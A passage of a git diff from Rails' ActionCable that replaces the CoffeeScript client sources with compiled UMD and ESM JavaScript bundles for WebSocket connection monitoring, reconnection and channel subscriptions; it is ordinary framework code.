+    message(event) {
+      if (!this.isProtocolSupported()) {
+        return;
+      }
+      const {identifier: identifier, message: message, reason: reason, reconnect: reconnect, type: type} = JSON.parse(event.data);
+      this.monitor.recordMessage();
+      switch (type) {
+       case message_types.welcome:
+        if (this.triedToReconnect()) {
+          this.reconnectAttempted = true;
+        }
+        this.monitor.recordConnect();
+        return this.subscriptions.reload();
+
+       case message_types.disconnect:
+        logger.log(`Disconnecting. Reason: ${reason}`);
+        return this.close({
+          allowReconnect: reconnect
+        });
+
+       case message_types.ping:
+        return null;
+
+       case message_types.confirmation:
+        this.subscriptions.confirmSubscription(identifier);
+        if (this.reconnectAttempted) {
+          this.reconnectAttempted = false;
+          return this.subscriptions.notify(identifier, "connected", {
+            reconnected: true
+          });
+        } else {
+          return this.subscriptions.notify(identifier, "connected", {
+            reconnected: false
+          });
+        }
+
+       case message_types.rejection:
+        return this.subscriptions.reject(identifier);
+
+       default:
+        return this.subscriptions.notify(identifier, "received", message);
+      }
+    },
+    open() {
+      logger.log(`WebSocket onopen event, using '${this.getProtocol()}' subprotocol`);
+      this.disconnected = false;
+      if (!this.isProtocolSupported()) {
+        logger.log("Protocol is unsupported. Stopping monitor and disconnecting.");
+        return this.close({
+          allowReconnect: false
+        });
+      }
+    },
+    close(event) {
+      logger.log("WebSocket onclose event");
+      if (this.disconnected) {
+        return;
+      }
+      this.disconnected = true;
+      this.monitor.recordDisconnect();
+      return this.subscriptions.notifyAll("disconnected", {
+        willAttemptReconnect: this.monitor.isRunning()
+      });
+    },
+    error() {
+      logger.log("WebSocket onerror event");
+    }
+  };
+  const extend = function(object, properties) {
+    if (properties != null) {
+      for (let key in properties) {
+        const value = properties[key];
+        object[key] = value;
+      }
+    }
+    return object;
+  };
+  class Subscription {
+    constructor(consumer, params = {}, mixin) {
+      this.consumer = consumer;
+      this.identifier = JSON.stringify(params);
+      extend(this, mixin);
+    }
+    perform(action, data = {}) {
+      data.action = action;
+      return this.send(data);
+    }
+    send(data) {
+      return this.consumer.send({
+        command: "message",
+        identifier: this.identifier,
+        data: JSON.stringify(data)
+      });
+    }
+    unsubscribe() {
+      return this.consumer.subscriptions.remove(this);
+    }
+  }
+  class SubscriptionGuarantor {
+    constructor(subscriptions) {
+      this.subscriptions = subscriptions;
+      this.pendingSubscriptions = [];
+    }
+    guarantee(subscription) {
+      if (this.pendingSubscriptions.indexOf(subscription) == -1) {
+        logger.log(`SubscriptionGuarantor guaranteeing ${subscription.identifier}`);
+        this.pendingSubscriptions.push(subscription);
+      } else {
+        logger.log(`SubscriptionGuarantor already guaranteeing ${subscription.identifier}`);
+      }
+      this.startGuaranteeing();
+    }
+    forget(subscription) {
+      logger.log(`SubscriptionGuarantor forgetting ${subscription.identifier}`);
+      this.pendingSubscriptions = this.pendingSubscriptions.filter((s => s !== subscription));
+    }
+    startGuaranteeing() {
+      this.stopGuaranteeing();
+      this.retrySubscribing();
+    }
+    stopGuaranteeing() {
+      clearTimeout(this.retryTimeout);
+    }
+    retrySubscribing() {
+      this.retryTimeout = setTimeout((() => {
+        if (this.subscriptions && typeof this.subscriptions.subscribe === "function") {
+          this.pendingSubscriptions.map((subscription => {
+            logger.log(`SubscriptionGuarantor resubscribing ${subscription.identifier}`);
+            this.subscriptions.subscribe(subscription);
+          }));
+        }
+      }), 500);
+    }
+  }
+  class Subscriptions {
+    constructor(consumer) {
+      this.consumer = consumer;
+      this.guarantor = new SubscriptionGuarantor(this);
+      this.subscriptions = [];
+    }
+    create(channelName, mixin) {
+      const channel = channelName;
+      const params = typeof channel === "object" ? channel : {
+        channel: channel
+      };
+      const subscription = new Subscription(this.consumer, params, mixin);
+      return this.add(subscription);
+    }
+    add(subscription) {
+      this.subscriptions.push(subscription);
+      this.consumer.ensureActiveConnection();
+      this.notify(subscription, "initialized");
+      this.subscribe(subscription);
+      return subscription;
+    }
+    remove(subscription) {
+      this.forget(subscription);
+      if (!this.findAll(subscription.identifier).length) {
+        this.sendCommand(subscription, "unsubscribe");
+      }
+      return subscription;
+    }
+    reject(identifier) {
+      return this.findAll(identifier).map((subscription => {
+        this.forget(subscription);
+        this.notify(subscription, "rejected");
+        return subscription;
+      }));
+    }
+    forget(subscription) {
+      this.guarantor.forget(subscription);
+      this.subscriptions = this.subscriptions.filter((s => s !== subscription));
+      return subscription;
+    }
+    findAll(identifier) {
+      return this.subscriptions.filter((s => s.identifier === identifier));
+    }
+    reload() {
+      return this.subscriptions.map((subscription => this.subscribe(subscription)));
+    }
+    notifyAll(callbackName, ...args) {
+      return this.subscriptions.map((subscription => this.notify(subscription, callbackName, ...args)));
+    }
+    notify(subscription, callbackName, ...args) {
+      let subscriptions;
+      if (typeof subscription === "string") {
+        subscriptions = this.findAll(subscription);
+      } else {
+        subscriptions = [ subscription ];
+      }
+      return subscriptions.map((subscription => typeof subscription[callbackName] === "function" ? subscription[callbackName](...args) : undefined));
+    }
+    subscribe(subscription) {
+      if (this.sendCommand(subscription, "subscribe")) {
+        this.guarantor.guarantee(subscription);
+      }
+    }
+    confirmSubscription(identifier) {
+      logger.log(`Subscription confirmed ${identifier}`);
+      this.findAll(identifier).map((subscription => this.guarantor.forget(subscription)));
+    }
+    sendCommand(subscription, command) {
+      const {identifier: identifier} = subscription;
+      return this.consumer.send({
+        command: command,
+        identifier: identifier
+      });
+    }
+  }
+  class Consumer {
+    constructor(url) {
+      this._url = url;
+      this.subscriptions = new Subscriptions(this);
+      this.connection = new Connection(this);
+      this.subprotocols = [];
+    }
+    get url() {
+      return createWebSocketURL(this._url);
+    }
+    send(data) {
+      return this.connection.send(data);
+    }
+    connect() {
+      return this.connection.open();
+    }
+    disconnect() {
+      return this.connection.close({
+        allowReconnect: false
+      });
+    }
+    ensureActiveConnection() {
+      if (!this.connection.isActive()) {
+        return this.connection.open();
+      }
+    }
+    addSubProtocol(subprotocol) {
+      this.subprotocols = [ ...this.subprotocols, subprotocol ];
+    }
+  }
+  function createWebSocketURL(url) {
+    if (typeof url === "function") {
+      url = url();
+    }
+    if (url && !/^wss?:/i.test(url)) {
+      const a = document.createElement("a");
+      a.href = url;
+      a.href = a.href;
+      a.protocol = a.protocol.replace("http", "ws");
+      return a.href;
+    } else {
+      return url;
+    }
+  }
+  function createConsumer(url = getConfig("url") || INTERNAL.default_mount_path) {
+    return new Consumer(url);
+  }
+  function getConfig(name) {
+    const element = document.head.querySelector(`meta[name='action-cable-${name}']`);
+    if (element) {
+      return element.getAttribute("content");
+    }
+  }
+  console.log("DEPRECATION: action_cable.js has been renamed to actioncable.js – please update your reference before Rails 8");
+  exports.Connection = Connection;
+  exports.ConnectionMonitor = ConnectionMonitor;
+  exports.Consumer = Consumer;
+  exports.INTERNAL = INTERNAL;
+  exports.Subscription = Subscription;
+  exports.SubscriptionGuarantor = SubscriptionGuarantor;
+  exports.Subscriptions = Subscriptions;
+  exports.adapters = adapters;
+  exports.createConsumer = createConsumer;
+  exports.createWebSocketURL = createWebSocketURL;
+  exports.getConfig = getConfig;
+  exports.logger = logger;
+  Object.defineProperty(exports, "__esModule", {
+    value: true
+  });
+}));
diff --git a/actioncable/app/assets/javascripts/action_cable/connection.coffee b/actioncable/app/assets/javascripts/action_cable/connection.coffee
deleted file mode 100644
index 7fd68cad2ff0b..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable/connection.coffee
+++ /dev/null
@@ -1,116 +0,0 @@
-#= require ./connection_monitor
-
-# Encapsulate the cable connection held by the consumer. This is an internal class not intended for direct user manipulation.
-
-{message_types, protocols} = ActionCable.INTERNAL
-[supportedProtocols..., unsupportedProtocol] = protocols
-
-class ActionCable.Connection
-  @reopenDelay: 500
-
-  constructor: (@consumer) ->
-    {@subscriptions} = @consumer
-    @monitor = new ActionCable.ConnectionMonitor this
-    @disconnected = true
-
-  send: (data) ->
-    if @isOpen()
-      @webSocket.send(JSON.stringify(data))
-      true
-    else
-      false
-
-  open: =>
-    if @isActive()
-      ActionCable.log("Attempted to open WebSocket, but existing socket is #{@getState()}")
-      false
-    else
-      ActionCable.log("Opening WebSocket, current state is #{@getState()}, subprotocols: #{protocols}")
-      @uninstallEventHandlers() if @webSocket?
-      @webSocket = new ActionCable.WebSocket(@consumer.url, protocols)
-      @installEventHandlers()
-      @monitor.start()
-      true
-
-  close: ({allowReconnect} = {allowReconnect: true}) ->
-    @monitor.stop() unless allowReconnect
-    @webSocket?.close() if @isActive()
-
-  reopen: ->
-    ActionCable.log("Reopening WebSocket, current state is #{@getState()}")
-    if @isActive()
-      try
-        @close()
-      catch error
-        ActionCable.log("Failed to reopen WebSocket", error)
-      finally
-        ActionCable.log("Reopening WebSocket in #{@constructor.reopenDelay}ms")
-        setTimeout(@open, @constructor.reopenDelay)
-    else
-      @open()
-
-  getProtocol: ->
-    @webSocket?.protocol
-
-  isOpen: ->
-    @isState("open")
-
-  isActive: ->
-    @isState("open", "connecting")
-
-  # Private
-
-  isProtocolSupported: ->
-    @getProtocol() in supportedProtocols
-
-  isState: (states...) ->
-    @getState() in states
-
-  getState: ->
-    return state.toLowerCase() for state, value of WebSocket when value is @webSocket?.readyState
-    null
-
-  installEventHandlers: ->
-    for eventName of @events
-      handler = @events[eventName].bind(this)
-      @webSocket["on#{eventName}"] = handler
-    return
-
-  uninstallEventHandlers: ->
-    for eventName of @events
-      @webSocket["on#{eventName}"] = ->
-    return
-
-  events:
-    message: (event) ->
-      return unless @isProtocolSupported()
-      {identifier, message, type} = JSON.parse(event.data)
-      switch type
-        when message_types.welcome
-          @monitor.recordConnect()
-          @subscriptions.reload()
-        when message_types.ping
-          @monitor.recordPing()
-        when message_types.confirmation
-          @subscriptions.notify(identifier, "connected")
-        when message_types.rejection
-          @subscriptions.reject(identifier)
-        else
-          @subscriptions.notify(identifier, "received", message)
-
-    open: ->
-      ActionCable.log("WebSocket onopen event, using '#{@getProtocol()}' subprotocol")
-      @disconnected = false
-      if not @isProtocolSupported()
-        ActionCable.log("Protocol is unsupported. Stopping monitor and disconnecting.")
-        @close(allowReconnect: false)
-
-    close: (event) ->
-      ActionCable.log("WebSocket onclose event")
-      return if @disconnected
-      @disconnected = true
-      @monitor.recordDisconnect()
-      @subscriptions.notifyAll("disconnected", {willAttemptReconnect: @monitor.isRunning()})
-
-    error: ->
-      ActionCable.log("WebSocket onerror event")
diff --git a/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee b/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee
deleted file mode 100644
index 0cc675fa94c6e..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee
+++ /dev/null
@@ -1,95 +0,0 @@
-# Responsible for ensuring the cable connection is in good health by validating the heartbeat pings sent from the server, and attempting
-# revival reconnections if things go astray. Internal class, not intended for direct user manipulation.
-class ActionCable.ConnectionMonitor
-  @pollInterval:
-    min: 3
-    max: 30
-
-  @staleThreshold: 6 # Server::Connections::BEAT_INTERVAL * 2 (missed two pings)
-
-  constructor: (@connection) ->
-    @reconnectAttempts = 0
-
-  start: ->
-    unless @isRunning()
-      @startedAt = now()
-      delete @stoppedAt
-      @startPolling()
-      document.addEventListener("visibilitychange", @visibilityDidChange)
-      ActionCable.log("ConnectionMonitor started. pollInterval = #{@getPollInterval()} ms")
-
-  stop: ->
-    if @isRunning()
-      @stoppedAt = now()
-      @stopPolling()
-      document.removeEventListener("visibilitychange", @visibilityDidChange)
-      ActionCable.log("ConnectionMonitor stopped")
-
-  isRunning: ->
-    @startedAt? and not @stoppedAt?
-
-  recordPing: ->
-    @pingedAt = now()
-
-  recordConnect: ->
-    @reconnectAttempts = 0
-    @recordPing()
-    delete @disconnectedAt
-    ActionCable.log("ConnectionMonitor recorded connect")
-
-  recordDisconnect: ->
-    @disconnectedAt = now()
-    ActionCable.log("ConnectionMonitor recorded disconnect")
-
-  # Private
-
-  startPolling: ->
-    @stopPolling()
-    @poll()
-
-  stopPolling: ->
-    clearTimeout(@pollTimeout)
-
-  poll: ->
-    @pollTimeout = setTimeout =>
-      @reconnectIfStale()
-      @poll()
-    , @getPollInterval()
-
-  getPollInterval: ->
-    {min, max} = @constructor.pollInterval
-    interval = 5 * Math.log(@reconnectAttempts + 1)
-    Math.round(clamp(interval, min, max) * 1000)
-
-  reconnectIfStale: ->
-    if @connectionIsStale()
-      ActionCable.log("ConnectionMonitor detected stale connection. reconnectAttempts = #{@reconnectAttempts}, pollInterval = #{@getPollInterval()} ms, time disconnected = #{secondsSince(@disconnectedAt)} s, stale threshold = #{@constructor.staleThreshold} s")
-      @reconnectAttempts++
-      if @disconnectedRecently()
-        ActionCable.log("ConnectionMonitor skipping reopening recent disconnect")
-      else
-        ActionCable.log("ConnectionMonitor reopening")
-        @connection.reopen()
-
-  connectionIsStale: ->
-    secondsSince(@pingedAt ? @startedAt) > @constructor.staleThreshold
-
-  disconnectedRecently: ->
-    @disconnectedAt and secondsSince(@disconnectedAt) < @constructor.staleThreshold
-
-  visibilityDidChange: =>
-    if document.visibilityState is "visible"
-      setTimeout =>
-        if @connectionIsStale() or not @connection.isOpen()
-          ActionCable.log("ConnectionMonitor reopening stale connection on visibilitychange. visbilityState = #{document.visibilityState}")
-          @connection.reopen()
-      , 200
-
-  now = ->
-    new Date().getTime()
-
-  secondsSince = (time) ->
-    (now() - time) / 1000
-
-  clamp = (number, min, max) ->
-    Math.max(min, Math.min(max, number))
diff --git a/actioncable/app/assets/javascripts/action_cable/consumer.coffee b/actioncable/app/assets/javascripts/action_cable/consumer.coffee
deleted file mode 100644
index 3298be717f6b5..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable/consumer.coffee
+++ /dev/null
@@ -1,46 +0,0 @@
-#= require ./connection
-#= require ./subscriptions
-#= require ./subscription
-
-# The ActionCable.Consumer establishes the connection to a server-side Ruby Connection object. Once established,
-# the ActionCable.ConnectionMonitor will ensure that its properly maintained through heartbeats and checking for stale updates.
-# The Consumer instance is also the gateway to establishing subscriptions to desired channels through the #createSubscription
-# method.
-#
-# The following example shows how this can be setup:
-#
-#   @App = {}
-#   App.cable = ActionCable.createConsumer "ws://example.com/accounts/1"
-#   App.appearance = App.cable.subscriptions.create "AppearanceChannel"
-#
-# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
-#
-# When a consumer is created, it automatically connects with the server.
-#
-# To disconnect from the server, call
-#
-#   App.cable.disconnect()
-#
-# and to restart the connection:
-#
-#   App.cable.connect()
-#
-# Any channel subscriptions which existed prior to disconnecting will
-# automatically resubscribe.
-class ActionCable.Consumer
-  constructor: (@url) ->
-    @subscriptions = new ActionCable.Subscriptions this
-    @connection = new ActionCable.Connection this
-
-  send: (data) ->
-    @connection.send(data)
-
-  connect: ->
-    @connection.open()
-
-  disconnect: ->
-    @connection.close(allowReconnect: false)
-
-  ensureActiveConnection: ->
-    unless @connection.isActive()
-      @connection.open()
diff --git a/actioncable/app/assets/javascripts/action_cable/subscription.coffee b/actioncable/app/assets/javascripts/action_cable/subscription.coffee
deleted file mode 100644
index 8e0805a174eae..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable/subscription.coffee
+++ /dev/null
@@ -1,72 +0,0 @@
-# A new subscription is created through the ActionCable.Subscriptions instance available on the consumer.
-# It provides a number of callbacks and a method for calling remote procedure calls on the corresponding
-# Channel instance on the server side.
-#
-# An example demonstrates the basic functionality:
-#
-#   App.appearance = App.cable.subscriptions.create "AppearanceChannel",
-#     connected: ->
-#       # Called once the subscription has been successfully completed
-#
-#     disconnected: ({ willAttemptReconnect: boolean }) ->
-#       # Called when the client has disconnected with the server.
-#       # The object will have an `willAttemptReconnect` property which
-#       # says whether the client has the intention of attempting
-#       # to reconnect.
-#
-#     appear: ->
-#       @perform 'appear', appearing_on: @appearingOn()
-#
-#     away: ->
-#       @perform 'away'
-#
-#     appearingOn: ->
-#       $('main').data 'appearing-on'
-#
-# The methods #appear and #away forward their intent to the remote AppearanceChannel instance on the server
-# by calling the `@perform` method with the first parameter being the action (which maps to AppearanceChannel#appear/away).
-# The second parameter is a hash that'll get JSON encoded and made available on the server in the data parameter.
-#
-# This is how the server component would look:
-#
-#   class AppearanceChannel < ApplicationActionCable::Channel
-#     def subscribed
-#       current_user.appear
-#     end
-#
-#     def unsubscribed
-#       current_user.disappear
-#     end
-#
-#     def appear(data)
-#       current_user.appear on: data['appearing_on']
-#     end
-#
-#     def away
-#       current_user.away
-#     end
-#   end
-#
-# The "AppearanceChannel" name is automatically mapped between the client-side subscription creation and the server-side Ruby class name.
-# The AppearanceChannel#appear/away public methods are exposed automatically to client-side invocation through the @perform method.
-class ActionCable.Subscription
-  constructor: (@consumer, params = {}, mixin) ->
-    @identifier = JSON.stringify(params)
-    extend(this, mixin)
-
-  # Perform a channel action with the optional data passed as an attribute
-  perform: (action, data = {}) ->
-    data.action = action
-    @send(data)
-
-  send: (data) ->
-    @consumer.send(command: "message", identifier: @identifier, data: JSON.stringify(data))
-
-  unsubscribe: ->
-    @consumer.subscriptions.remove(this)
-
-  extend = (object, properties) ->
-    if properties?
-      for key, value of properties
-        object[key] = value
-    object
diff --git a/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee b/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee
deleted file mode 100644
index aa052bf5d8408..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee
+++ /dev/null
@@ -1,66 +0,0 @@
-# Collection class for creating (and internally managing) channel subscriptions. The only method intended to be triggered by the user
-# us ActionCable.Subscriptions#create, and it should be called through the consumer like so:
-#
-#   @App = {}
-#   App.cable = ActionCable.createConsumer "ws://example.com/accounts/1"
-#   App.appearance = App.cable.subscriptions.create "AppearanceChannel"
-#
-# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
-class ActionCable.Subscriptions
-  constructor: (@consumer) ->
-    @subscriptions = []
-
-  create: (channelName, mixin) ->
-    channel = channelName
-    params = if typeof channel is "object" then channel else {channel}
-    subscription = new ActionCable.Subscription @consumer, params, mixin
-    @add(subscription)
-
-  # Private
-
-  add: (subscription) ->
-    @subscriptions.push(subscription)
-    @consumer.ensureActiveConnection()
-    @notify(subscription, "initialized")
-    @sendCommand(subscription, "subscribe")
-    subscription
-
-  remove: (subscription) ->
-    @forget(subscription)
-    unless @findAll(subscription.identifier).length
-      @sendCommand(subscription, "unsubscribe")
-    subscription
-
-  reject: (identifier) ->
-    for subscription in @findAll(identifier)
-      @forget(subscription)
-      @notify(subscription, "rejected")
-      subscription
-
-  forget: (subscription) ->
-    @subscriptions = (s for s in @subscriptions when s isnt subscription)
-    subscription
-
-  findAll: (identifier) ->
-    s for s in @subscriptions when s.identifier is identifier
-
-  reload: ->
-    for subscription in @subscriptions
-      @sendCommand(subscription, "subscribe")
-
-  notifyAll: (callbackName, args...) ->
-    for subscription in @subscriptions
-      @notify(subscription, callbackName, args...)
-
-  notify: (subscription, callbackName, args...) ->
-    if typeof subscription is "string"
-      subscriptions = @findAll(subscription)
-    else
-      subscriptions = [subscription]
-
-    for subscription in subscriptions
-      subscription[callbackName]?(args...)
-
-  sendCommand: (subscription, command) ->
-    {identifier} = subscription
-    @consumer.send({command, identifier})
diff --git a/actioncable/app/assets/javascripts/actioncable.esm.js b/actioncable/app/assets/javascripts/actioncable.esm.js
new file mode 100644
index 0000000000000..18320091e55e2
--- /dev/null
+++ b/actioncable/app/assets/javascripts/actioncable.esm.js
@@ -0,0 +1,512 @@
+var adapters = {
+  logger: typeof console !== "undefined" ? console : undefined,
+  WebSocket: typeof WebSocket !== "undefined" ? WebSocket : undefined
+};
+
+var logger = {
+  log(...messages) {
+    if (this.enabled) {
+      messages.push(Date.now());
+      adapters.logger.log("[ActionCable]", ...messages);
+    }
+  }
+};
+
+const now = () => (new Date).getTime();
+
+const secondsSince = time => (now() - time) / 1e3;
+
+class ConnectionMonitor {
+  constructor(connection) {
+    this.visibilityDidChange = this.visibilityDidChange.bind(this);
+    this.connection = connection;
+    this.reconnectAttempts = 0;
+  }
+  start() {
+    if (!this.isRunning()) {
+      this.startedAt = now();
+      delete this.stoppedAt;
+      this.startPolling();
+      addEventListener("visibilitychange", this.visibilityDidChange);
+      logger.log(`ConnectionMonitor started. stale threshold = ${this.constructor.staleThreshold} s`);
+    }
+  }
+  stop() {
+    if (this.isRunning()) {
+      this.stoppedAt = now();
+      this.stopPolling();
+      removeEventListener("visibilitychange", this.visibilityDidChange);
+      logger.log("ConnectionMonitor stopped");
+    }
+  }
+  isRunning() {
+    return this.startedAt && !this.stoppedAt;
+  }
+  recordMessage() {
+    this.pingedAt = now();
+  }
+  recordConnect() {
+    this.reconnectAttempts = 0;
+    delete this.disconnectedAt;
+    logger.log("ConnectionMonitor recorded connect");
+  }
+  recordDisconnect() {
+    this.disconnectedAt = now();
+    logger.log("ConnectionMonitor recorded disconnect");
+  }
+  startPolling() {
+    this.stopPolling();
+    this.poll();
+  }
+  stopPolling() {
+    clearTimeout(this.pollTimeout);
+  }
+  poll() {
+    this.pollTimeout = setTimeout((() => {
+      this.reconnectIfStale();
+      this.poll();
+    }), this.getPollInterval());
+  }
+  getPollInterval() {
+    const {staleThreshold: staleThreshold, reconnectionBackoffRate: reconnectionBackoffRate} = this.constructor;
+    const backoff = Math.pow(1 + reconnectionBackoffRate, Math.min(this.reconnectAttempts, 10));
+    const jitterMax = this.reconnectAttempts === 0 ? 1 : reconnectionBackoffRate;
+    const jitter = jitterMax * Math.random();
+    return staleThreshold * 1e3 * backoff * (1 + jitter);
+  }
+  reconnectIfStale() {
+    if (this.connectionIsStale()) {
+      logger.log(`ConnectionMonitor detected stale connection. reconnectAttempts = ${this.reconnectAttempts}, time stale = ${secondsSince(this.refreshedAt)} s, stale threshold = ${this.constructor.staleThreshold} s`);
+      this.reconnectAttempts++;
+      if (this.disconnectedRecently()) {
+        logger.log(`ConnectionMonitor skipping reopening recent disconnect. time disconnected = ${secondsSince(this.disconnectedAt)} s`);
+      } else {
+        logger.log("ConnectionMonitor reopening");
+        this.connection.reopen();
+      }
+    }
+  }
+  get refreshedAt() {
+    return this.pingedAt ? this.pingedAt : this.startedAt;
+  }
+  connectionIsStale() {
+    return secondsSince(this.refreshedAt) > this.constructor.staleThreshold;
+  }
+  disconnectedRecently() {
+    return this.disconnectedAt && secondsSince(this.disconnectedAt) < this.constructor.staleThreshold;
+  }
+  visibilityDidChange() {
+    if (document.visibilityState === "visible") {
+      setTimeout((() => {
+        if (this.connectionIsStale() || !this.connection.isOpen()) {
+          logger.log(`ConnectionMonitor reopening stale connection on visibilitychange. visibilityState = ${document.visibilityState}`);
+          this.connection.reopen();
+        }
+      }), 200);
+    }
+  }
+}
+
+ConnectionMonitor.staleThreshold = 6;
+
+ConnectionMonitor.reconnectionBackoffRate = .15;
+
+var INTERNAL = {
+  message_types: {
+    welcome: "welcome",
+    disconnect: "disconnect",
+    ping: "ping",
+    confirmation: "confirm_subscription",
+    rejection: "reject_subscription"
+  },
+  disconnect_reasons: {
+    unauthorized: "unauthorized",
+    invalid_request: "invalid_request",
+    server_restart: "server_restart",
+    remote: "remote"
+  },
+  default_mount_path: "/cable",
+  protocols: [ "actioncable-v1-json", "actioncable-unsupported" ]
+};
+
+const {message_types: message_types, protocols: protocols} = INTERNAL;
+
+const supportedProtocols = protocols.slice(0, protocols.length - 1);
+
+const indexOf = [].indexOf;
+
+class Connection {
+  constructor(consumer) {
+    this.open = this.open.bind(this);
+    this.consumer = consumer;
+    this.subscriptions = this.consumer.subscriptions;
+    this.monitor = new ConnectionMonitor(this);
+    this.disconnected = true;
+  }
+  send(data) {
+    if (this.isOpen()) {
+      this.webSocket.send(JSON.stringify(data));
+      return true;
+    } else {
+      return false;
+    }
+  }
+  open() {
+    if (this.isActive()) {
+      logger.log(`Attempted to open WebSocket, but existing socket is ${this.getState()}`);
+      return false;
+    } else {
+      const socketProtocols = [ ...protocols, ...this.consumer.subprotocols || [] ];
+      logger.log(`Opening WebSocket, current state is ${this.getState()}, subprotocols: ${socketProtocols}`);
+      if (this.webSocket) {
+        this.uninstallEventHandlers();
+      }
+      this.webSocket = new adapters.WebSocket(this.consumer.url, socketProtocols);
+      this.installEventHandlers();
+      this.monitor.start();
+      return true;
+    }
+  }
+  close({allowReconnect: allowReconnect} = {
+    allowReconnect: true
+  }) {
+    if (!allowReconnect) {
+      this.monitor.stop();
+    }
+    if (this.isOpen()) {
+      return this.webSocket.close();
+    }
+  }
+  reopen() {
+    logger.log(`Reopening WebSocket, current state is ${this.getState()}`);
+    if (this.isActive()) {
+      try {
+        return this.close();
+      } catch (error) {
+        logger.log("Failed to reopen WebSocket", error);
+      } finally {
+        logger.log(`Reopening WebSocket in ${this.constructor.reopenDelay}ms`);
+        setTimeout(this.open, this.constructor.reopenDelay);
+      }
+    } else {
+      return this.open();
+    }
+  }
+  getProtocol() {
+    if (this.webSocket) {
+      return this.webSocket.protocol;
+    }
+  }
+  isOpen() {
+    return this.isState("open");
+  }
+  isActive() {
+    return this.isState("open", "connecting");
+  }
+  triedToReconnect() {
+    return this.monitor.reconnectAttempts > 0;
+  }
+  isProtocolSupported() {
+    return indexOf.call(supportedProtocols, this.getProtocol()) >= 0;
+  }
+  isState(...states) {
+    return indexOf.call(states, this.getState()) >= 0;
+  }
+  getState() {
+    if (this.webSocket) {
+      for (let state in adapters.WebSocket) {
+        if (adapters.WebSocket[state] === this.webSocket.readyState) {
+          return state.toLowerCase();
+        }
+      }
+    }
+    return null;
+  }
+  installEventHandlers() {
+    for (let eventName in this.events) {
+      const handler = this.events[eventName].bind(this);
+      this.webSocket[`on${eventName}`] = handler;
+    }
+  }
+  uninstallEventHandlers() {
+    for (let eventName in this.events) {
+      this.webSocket[`on${eventName}`] = function() {};
+    }
+  }
+}
+
+Connection.reopenDelay = 500;
+
+Connection.prototype.events = {
+  message(event) {
+    if (!this.isProtocolSupported()) {
+      return;
+    }
+    const {identifier: identifier, message: message, reason: reason, reconnect: reconnect, type: type} = JSON.parse(event.data);
+    this.monitor.recordMessage();
+    switch (type) {
+     case message_types.welcome:
+      if (this.triedToReconnect()) {
+        this.reconnectAttempted = true;
+      }
+      this.monitor.recordConnect();
+      return this.subscriptions.reload();
+
+     case message_types.disconnect:
+      logger.log(`Disconnecting. Reason: ${reason}`);
+      return this.close({
+        allowReconnect: reconnect
+      });
+
+     case message_types.ping:
+      return null;
+
+     case message_types.confirmation:
+      this.subscriptions.confirmSubscription(identifier);
+      if (this.reconnectAttempted) {
+        this.reconnectAttempted = false;
+        return this.subscriptions.notify(identifier, "connected", {
+          reconnected: true
+        });
+      } else {
+        return this.subscriptions.notify(identifier, "connected", {
+          reconnected: false
+        });
+      }
+
+     case message_types.rejection:
+      return this.subscriptions.reject(identifier);
+
+     default:
+      return this.subscriptions.notify(identifier, "received", message);
+    }
+  },
+  open() {
+    logger.log(`WebSocket onopen event, using '${this.getProtocol()}' subprotocol`);
+    this.disconnected = false;
+    if (!this.isProtocolSupported()) {
+      logger.log("Protocol is unsupported. Stopping monitor and disconnecting.");
+      return this.close({
+        allowReconnect: false
+      });
+    }
+  },
+  close(event) {
+    logger.log("WebSocket onclose event");
+    if (this.disconnected) {
+      return;
+    }
+    this.disconnected = true;
+    this.monitor.recordDisconnect();
+    return this.subscriptions.notifyAll("disconnected", {
+      willAttemptReconnect: this.monitor.isRunning()
+    });
+  },
+  error() {
+    logger.log("WebSocket onerror event");
+  }
+};
+
+const extend = function(object, properties) {
+  if (properties != null) {
+    for (let key in properties) {
+      const value = properties[key];
+      object[key] = value;
+    }
+  }
+  return object;
+};
+
+class Subscription {
+  constructor(consumer, params = {}, mixin) {
+    this.consumer = consumer;
+    this.identifier = JSON.stringify(params);
+    extend(this, mixin);
+  }
+  perform(action, data = {}) {
+    data.action = action;
+    return this.send(data);
+  }
+  send(data) {
+    return this.consumer.send({
+      command: "message",
+      identifier: this.identifier,
+      data: JSON.stringify(data)
+    });
+  }
+  unsubscribe() {
+    return this.consumer.subscriptions.remove(this);
+  }
+}
+
+class SubscriptionGuarantor {
+  constructor(subscriptions) {
+    this.subscriptions = subscriptions;
+    this.pendingSubscriptions = [];
+  }
+  guarantee(subscription) {
+    if (this.pendingSubscriptions.indexOf(subscription) == -1) {
+      logger.log(`SubscriptionGuarantor guaranteeing ${subscription.identifier}`);
+      this.pendingSubscriptions.push(subscription);
+    } else {
+      logger.log(`SubscriptionGuarantor already guaranteeing ${subscription.identifier}`);
+    }
+    this.startGuaranteeing();
+  }
+  forget(subscription) {
+    logger.log(`SubscriptionGuarantor forgetting ${subscription.identifier}`);
+    this.pendingSubscriptions = this.pendingSubscriptions.filter((s => s !== subscription));
+  }
+  startGuaranteeing() {
+    this.stopGuaranteeing();
+    this.retrySubscribing();
+  }
+  stopGuaranteeing() {
+    clearTimeout(this.retryTimeout);
+  }
+  retrySubscribing() {
+    this.retryTimeout = setTimeout((() => {
+      if (this.subscriptions && typeof this.subscriptions.subscribe === "function") {
+        this.pendingSubscriptions.map((subscription => {
+          logger.log(`SubscriptionGuarantor resubscribing ${subscription.identifier}`);
+          this.subscriptions.subscribe(subscription);
+        }));
+      }
+    }), 500);
+  }
+}
+
+class Subscriptions {
+  constructor(consumer) {
+    this.consumer = consumer;
+    this.guarantor = new SubscriptionGuarantor(this);
+    this.subscriptions = [];
+  }
+  create(channelName, mixin) {
+    const channel = channelName;
+    const params = typeof channel === "object" ? channel : {
+      channel: channel
+    };
+    const subscription = new Subscription(this.consumer, params, mixin);
+    return this.add(subscription);
+  }
+  add(subscription) {
+    this.subscriptions.push(subscription);
+    this.consumer.ensureActiveConnection();
+    this.notify(subscription, "initialized");
+    this.subscribe(subscription);
+    return subscription;
+  }
+  remove(subscription) {
+    this.forget(subscription);
+    if (!this.findAll(subscription.identifier).length) {
